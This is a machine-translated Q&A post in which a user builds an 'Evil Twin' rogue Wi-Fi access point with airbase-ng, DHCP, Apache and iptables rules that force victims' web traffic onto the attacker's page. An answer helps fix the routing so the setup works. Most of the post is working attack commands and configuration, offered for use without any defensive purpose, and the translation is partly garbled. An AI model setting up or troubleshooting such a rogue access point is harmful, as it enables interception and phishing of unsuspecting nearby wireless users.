
私はEvil Twinメソッドを調べていて、次の手順を見つけました:
APの作成
airmon-ng start wlan0 airbase-ng -e PrivateWIFI -c 9 -v mon0
at0
構成ifconfig at0 up ifconfig at0 192.168.1.20 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
DHCPを実行する
echo > '/var/lib/dhcp/dhcpd.leases' /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
dhcpd.conf ファイル:
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
option domain-name-servers 8.8.8.8;
range 192.168.1.2 192.168.1.250;
}
そしてApache2サーバーを起動しました
(ここまでは問題ありません)
ステータス (携帯電話から Web サーバー 192.168.1.20 を開いて、作成した Web ページを表示できます :) :) )
しかし問題は、iptables コマンドを追加しても何も起こらないことです。
iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
////////////////////////////////////////////////////////////////////////
iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
どちらも動作しません。誰か助けていただければ幸いです。
答え1
問題がブラウザが Web サーバーにリダイレクトされていることなのか、インターネットに接続されていないことなのかはわかりませんが、修正すべき点があるようです。
あなたに必要なのは1つマスカレードインターフェースは2つではなく1つです。正しいのはeth0(それが唯一のインターフェースであると仮定すると直接インターネットに接続している)ではなく、不正なネット 0でインターフェース。したがって、最後から 2 番目の行を削除する必要があります。
その後、期待通りに動作するかどうかを確認してください。動作しない場合は、現在の診断結果とともに、問題を正確に説明してください。
敬具。